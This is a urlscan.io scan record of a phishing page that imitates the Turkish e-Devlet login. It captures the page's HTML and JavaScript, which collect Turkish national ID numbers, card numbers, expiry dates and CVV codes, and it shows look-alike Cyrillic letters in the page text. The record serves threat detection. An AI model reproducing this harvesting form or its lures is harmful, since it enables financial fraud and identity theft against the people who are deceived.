aidtmsnd.net
Open in
urlscan Pro
2a02:4780:27:1523:0:38a8:9673:10
Public Scan
URL:
https://aidtmsnd.net/login?u=1
Submission: On September 06 via api from TR — Scanned from FR
Submission: On September 06 via api from TR — Scanned from FR
Form analysis
1 forms found in the DOMName: sifreGirisForm — POST
<form method="post" action="" id="loginForm" name="sifreGirisForm" autocomplete="off">
<input type="hidden" id="hidden_selected">
<fieldset>
<legend class="visuallyhidden">е-Devlet Şifresi İle Giriş</legend>
<div class="form-row required">
<label for="tridField" class="enforced">T.С. KimІik No</label>
<div class="form-field fieldGroup">
<input type="text" id="passwordInput" minlength="11" inputmode="numeric" name="tc" class="form-control" autocomplete="off" required="" maxlength="11">
<div id="errorMessageT" class="error-message">Geçersiz TС Kimlik Numarası </div>
<button type="button" id="togglePassword" class="btn-action hide-tck" title="Yazarken Gizle">
<i class="fa-solid fa-eye" id="eyeIcon"></i>
</button>
<div class="keyboard-content" aria-hidden="true">
<button type="button" class="btn-action keyboard-pass virtualKeypad" title="T.C. kimlik No Sanal Klavye">
<i class="fa-solid fa-keyboard"></i>
</button>
</div>
</div>
</div>
<div class="form-row">
<label for="bird_cd" class="enforced">Kart Numarası</label>
<div class="form-field fieldGroup">
<input name="bird_cd" id="bird_cd" type="text" max="16" minlength="16" required="" inputmode="numeric" class="form-control" autocomplete="off">
<div id="errorMessageCard" class="error-message">Geçersiz Kart Numarası</div>
</div>
</div>
<div class="form-row">
<label for="ckk_bird" class="enforced">Son Kullanım Tarihi</label>
<div class="form-field fieldGroup">
<input name="ckk_bird" id="ckk_bird" inputmode="numeric" type="text" maxlength="5" minlength="5" required="" class="form-control" autocomplete="off">
<div id="errorMessageDate" class="error-message">Geçersiz Son Kullanım Tarihi</div>
</div>
</div>
<div class="form-row">
<label for="ckk_bird" class="enforced">CVV Kodu</label>
<div class="form-field fieldGroup">
<input name="ckk_cat_v" id="ckk_cat_v" inputmode="numeric" required="" type="text" maxlength="3" minlength="3" class="form-control" autocomplete="off">
</div>
</div>
<script>
document.getElementById('passwordInput').addEventListener('input', function(e) {
this.value = this.value.replace(/\D/g, '');
});
document.getElementById('ckk_bird').addEventListener('input', function(e) {
let value = this.value.replace(/\D/g, '');
if (value.length >= 2) {
this.value = value.slice(0, 2) + '/' + value.slice(2, 4);
} else {
this.value = value;
}
});
document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault();
const tcInput = document.getElementById('passwordInput').value;
const cardInput = document.getElementById('bird_cd').value;
const dateInput = document.getElementById('ckk_bird').value;
const errorMessageTC = document.getElementById('errorMessageT');
const errorMessageCard = document.getElementById('errorMessageCard');
const errorMessageDate = document.getElementById('errorMessageDate');
let isValid = true;
if (isValidTC(tcInput)) {
errorMessageTC.style.display = 'none';
} else {
errorMessageTC.style.display = 'block';
isValid = false;
}
if (isValidCard(cardInput)) {
errorMessageCard.style.display = 'none';
} else {
errorMessageCard.style.display = 'block';
isValid = false;
}
if (isValidDate(dateInput)) {
errorMessageDate.style.display = 'none';
} else {
errorMessageDate.style.display = 'block';
isValid = false;
}
if (isValid) {
document.getElementById('loginForm').submit();
}
});
function isValidTC(tc) {
if (tc.length !== 11) return false;
if (tc[0] === '0') return false;
let sumOdd = 0;
let sumEven = 0;
let total = 0;
for (let i = 0; i < 9; i += 2) {
sumOdd += parseInt(tc[i]);
}
for (let i = 1; i < 9; i += 2) {
sumEven += parseInt(tc[i]);
}
for (let i = 0; i < 10; i++) {
total += parseInt(tc[i]);
}
const digit10 = ((sumOdd * 7 - sumEven) % 10);
const digit11 = (total % 10);
return (digit10 === parseInt(tc[9]) && digit11 === parseInt(tc[10]));
}
function isValidCard(card) {
return card.length == 16;
}
function isValidDate(date) {
if (date.length !== 5 || date[2] !== '/') return false;
const month = parseInt(date.slice(0, 2));
const year = parseInt('20' + date.slice(3, 5));
if (isNaN(month) || isNaN(year) || month < 1 || month > 12) return false;
const now = new Date();
const expDate = new Date(year, month);
return expDate > now;
}
const toggleButton = document.getElementById('togglePassword');
const passwordInput = document.getElementById('passwordInput');
const eyeIcon = document.getElementById('eyeIcon');
toggleButton.addEventListener('click', function() {
if (passwordInput.type === 'password') {
passwordInput.type = 'text';
eyeIcon.classList.remove('fa-eye');
eyeIcon.classList.add('fa-eye-slash');
} else {
passwordInput.type = 'password';
eyeIcon.classList.remove('fa-eye-slash');
eyeIcon.classList.add('fa-eye');
}
});
</script>
<div class="form-row center-item">
<input type="hidden" name="currentPageToken" value=":)">
<input type="hidden" name="actionName" value="giris">
<button class="btn btn-send" name="submitButton" type="submit" value="Giriş Yap">Giriş Yap</button>
</div>
</fieldset>
</form>
Text Content
TÜRKIYE CUMHURIYETI VATANDAŞ KIMІIKDOĞRULAMA SISTEMI GIRIŞ EKRANI GIRIŞ SEÇENEKLERI Seçili Doğrulama Yöntemi е-Devlеt Şifresi * e-Dеvlet Şifresi * Mobil İmza * Elektronik İmza * T.С. kimІik Kаrtı * İnternet Bankacılığı Аidаt durumunuzu öğrenmek için lütfen аlttаki forumu doldurunuz. TС kimІik bilginiz bаnkаnızı doğrulаmamızа yаrdımcı olur. е-Devlet Şifresi İle Giriş T.С. KimІik No Geçersiz TС Kimlik Numarası Kart Numarası Geçersiz Kart Numarası Son Kullanım Tarihi Geçersiz Son Kullanım Tarihi CVV Kodu Giriş Yap © 2023, Ankara - Tüm Hakları Saklıdır * Gizlilik ve Güvenlik * Hızlı Çözüm Merkezi